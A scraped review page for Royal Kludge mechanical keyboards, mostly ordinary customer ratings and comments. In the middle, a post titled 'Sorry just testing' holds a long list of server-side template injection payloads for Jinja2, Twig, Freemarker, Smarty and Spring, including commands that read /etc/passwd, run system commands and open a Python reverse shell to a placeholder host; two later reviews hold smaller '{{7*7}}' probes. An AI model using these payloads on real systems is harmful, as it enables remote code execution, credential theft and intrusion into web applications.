RK Royal Kludge Reviews: Honest User Experiences and Ratings

Read and Contribute to RK Reviews Today!
Based on 1805 reviews
78%
(1407)
14%
(261)
4%
(64)
2%
(44)
2%
(29)

RK84 75% Wireless Mechanical Keyboard

Great Keyboard with Clunky Spacebar

Ordered the RK96 Forest Blue keyboard a few weeks ago and I love it so far. The keycaps coloring is even better in person then the pictures online. I like the responsiveness of the yellow switches and the backlighting is pretty sweet.

I like the volume control at the top right as well as the various additional functions some of the keys have like the ability to dim the back light, start / stop videos, etc. The symbols for those additional functions aren't invasive and don't get in the way when you are looking at the keyboard.

The only complaint I have which isn't the biggest problem, is that the spacebar has a distinct and different sound then the rest of the keys. Is it a deeper clunk sound. I know I can remove the spacebar and mod or change some of the hardware, which is the reason why I bought this keyboard. I just haven't done it yet and since this is my first mechanical keyboard purchase, I am still working up the courage to do it.

The clunkier spacebar isn't enough to give this less than five stars. I can mod it whenever I don't like the sound any more. Like I mentioned this is my first mechanical keyboard, and in the future when I need another I will definitely buy from RK again.

great typing feeling.

Best keyboard I've tried so far

I'll start by saying this is my first mechanical keyboard (I used membrane kbs so far) and a guy on discord recommended it when I asked for a good budget mechanical keyboard. This keyboard is insanely good. Fast response time despite using it wirelessly, charges in 20 minutes and lasts for more than a week which is absurd for me. It also comes with a few replacement keycaps. 10/10 i'd recommend it to all my friends

great starter keyboard

feels very smooth out the box, the keys aren't too loud too. if you're new to mechanical keyboards, i can imagine this is a very good starter one as i wouldn't change anything about it. getting it on sale is worth it^^

Rk61 single backlight

It's a great keyboard, offering fast response time, hot swappable switches, quality material for good price, I was a little dissaponted about it being only one color but other than that it's fine, the lights are flashy, the software is great and it offers a lot of functions, overall it was worth it.

Sorry just testing

<
%3C
&lt
<
&LT
&LT;
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{dump(app)}}
{{app.request.server.all|join(',')}}
{{config.items()}}
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{''.__class__.__base__.__subclasses__()}} # Search for Popen process, use payload below change 227 to index of Popen
{{''.__class__.__base__.__subclasses__()[227]('cat /etc/passwd', shell=True, stdout=-1).communicate()}}
{% for key, value in config.iteritems() %}{{ key|e }}{{ value|e }}{% endfor %}
{{'a'.toUpperCase()}}
{{ request }}
{{self}}
<%= File.open('/etc/passwd').read %>
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
{{''.__class__.mro()[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{$smarty.version}
{php}echo `id`;{/php}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"/etc/passwd\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

not bad <*/>-'"{{7*7}} ${7*7}

not bad <*/>-'"{{7*7}} ${7*7}

Quality Keyboard

RK61 Keyboard
Fast delivery. Keyboard feels high quality and is good to use. Recommended.

Good product - poor shipping commitment.

took double the committed time to deliver. after 10 days upon order, kb is still not picked up by courier. definitely a big dent in the product delivery. will i order again, never again.

My honest feedback

everything is good except for the dangle. From time to time the device experience hiccups when it comes to the dangle, delays in the input occurs and have to stick to wired connection. the keycaps could also be imrpove by adding shinethrew varations. Overall the keyboard is good and is above average

amazing

i love this keyboard so much even tho im writing this one hour after i got it but honestly so smooth and they keys feel amazing and very soft highly recommend if u ever think about getting this. also my brother loved it too to the point he got himself one hehe

Favorite keyboard

Pretty soft keys and cute overall

Love this keyboard. I ordered another one a couple of days later for my gf. Both are I got the all gray and ordered her the one with red accents. Both red key switches. The actuation of the keys feels nice. The connectivity options are great. The gif feature is the best. Good battery life. Overall great!

RK84 75 % kabellose mechanische Tastatur

Add new switch options or come with some foam

Arguably

It's a shame that you can't change the color of the backlit as in any other keyboard. It would be much better if it was even one colored, but it's in rainbow lights. Not as annoying as one might think, clicky and in general really fine. Perfect in a bright, lit room with the RGB lights off

RK84 Wireless RGB Limited Edition Keyboard

Awesome full layout keyboard

I'm glad I found this full layout mechanical keyboard from Royal Kludge. Got it on discount during their midyear sale. Awesome keyboard with awesome features.

Incredibly fast shipping. Nice weight to the keyboard and consistent feel!

Satisfactory

This was my first mechanical keyboard so I don't have a reference to compare. The keyboard appears to be high quality and well made. The user manual that came with it could use a little work and is not very helpful. The keyboard sometimes has trouble connecting and there is not much support other than, "Make sure the power is on." type of guidance.